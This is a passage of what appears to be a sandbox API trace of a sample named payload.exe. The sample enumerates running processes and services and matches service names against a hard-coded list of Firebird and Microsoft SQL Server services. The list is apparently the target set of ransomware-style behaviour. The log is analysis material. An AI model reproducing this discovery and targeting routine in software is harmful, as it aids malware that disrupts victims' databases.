12 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.922] lstrlenW (lpString="RpcSs") returned 5 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.922] lstrlenW (lpString="SamSs") returned 5 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.922] lstrlenW (lpString="Schedule") returned 8 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.923] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.923] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.923] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.923] lstrlenW (lpString="SENS") returned 4 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.923] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.923] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.923] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.923] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.923] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.923] lstrlenW (lpString="Spooler") returned 7 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.923] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.923] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.923] lstrlenW (lpString="StateRepository") returned 15 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.923] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.923] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0160.923] lstrlenW (lpString="SysMain") returned 7 [0160.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.924] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.924] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.924] lstrlenW (lpString="SystemEventsBroker") returned 18 [0160.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.924] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0160.924] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0160.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0160.924] lstrlenW (lpString="Themes") returned 6 [0160.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.924] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0160.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.924] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0160.924] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0160.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42479b0 | out: hHeap=0x660000) returned 1 [0160.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0161.048] Process32FirstW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.048] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.049] lstrlenW (lpString="System") returned 6 [0161.049] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.049] lstrlenW (lpString="smss.exe") returned 8 [0161.049] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.050] lstrlenW (lpString="csrss.exe") returned 9 [0161.050] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.050] lstrlenW (lpString="wininit.exe") returned 11 [0161.051] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.051] lstrlenW (lpString="csrss.exe") returned 9 [0161.051] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.052] lstrlenW (lpString="winlogon.exe") returned 12 [0161.052] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.052] lstrlenW (lpString="services.exe") returned 12 [0161.053] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.053] lstrlenW (lpString="lsass.exe") returned 9 [0161.053] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.054] lstrlenW (lpString="svchost.exe") returned 11 [0161.054] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.054] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.054] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.055] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.055] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.055] lstrlenW (lpString="svchost.exe") returned 11 [0161.055] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.056] lstrlenW (lpString="dwm.exe") returned 7 [0161.056] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.057] lstrlenW (lpString="svchost.exe") returned 11 [0161.057] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.057] lstrlenW (lpString="svchost.exe") returned 11 [0161.057] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.058] lstrlenW (lpString="svchost.exe") returned 11 [0161.058] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.058] lstrlenW (lpString="svchost.exe") returned 11 [0161.058] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.059] lstrlenW (lpString="svchost.exe") returned 11 [0161.059] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.059] lstrlenW (lpString="svchost.exe") returned 11 [0161.060] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.060] lstrlenW (lpString="svchost.exe") returned 11 [0161.060] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.061] lstrlenW (lpString="svchost.exe") returned 11 [0161.061] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.061] lstrlenW (lpString="svchost.exe") returned 11 [0161.061] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.062] lstrlenW (lpString="svchost.exe") returned 11 [0161.062] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.062] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.062] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.063] lstrlenW (lpString="svchost.exe") returned 11 [0161.063] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.064] lstrlenW (lpString="audiodg.exe") returned 11 [0161.064] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.064] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.064] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0161.065] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0161.065] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0161.065] lstrlenW (lpString="Memory Compression") returned 18 [0161.065] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0161.066] lstrlenW (lpString="sihost.exe") returned 10 [0161.066] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.066] lstrlenW (lpString="svchost.exe") returned 11 [0161.067] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.067] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.067] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0161.068] lstrlenW (lpString="msoia.exe") returned 9 [0161.068] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.069] lstrlenW (lpString="explorer.exe") returned 12 [0161.069] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.069] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.069] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.070] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.070] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.070] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.070] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.071] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.071] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0161.072] lstrlenW (lpString="payload.exe") returned 11 [0161.072] Process32NextW (in: hSnapshot=0x350, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0161.072] CloseHandle (hObject=0x350) returned 1 [0161.072] Sleep (dwMilliseconds=0x1f4) [0161.587] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dbc8 [0161.587] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0161.587] GetLastError () returned 0xea [0161.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x42479b0 [0161.587] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42479b0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42479b0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0161.588] CloseServiceHandle (hSCObject=0x69dbc8) returned 1 [0161.588] lstrlenW (lpString="Appinfo") returned 7 [0161.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.588] lstrlenW (lpString="AppXSvc") returned 7 [0161.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0161.589] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.589] lstrlenW (lpString="Audiosrv") returned 8 [0161.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0161.589] lstrlenW (lpString="BFE") returned 3 [0161.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.589] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0161.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0161.589] lstrlenW (lpString="CDPSvc") returned 6 [0161.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0161.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0161.589] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0161.589] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0161.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0161.589] lstrlenW (lpString="ClickToRunSvc") returned 13 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0161.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0161.590] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 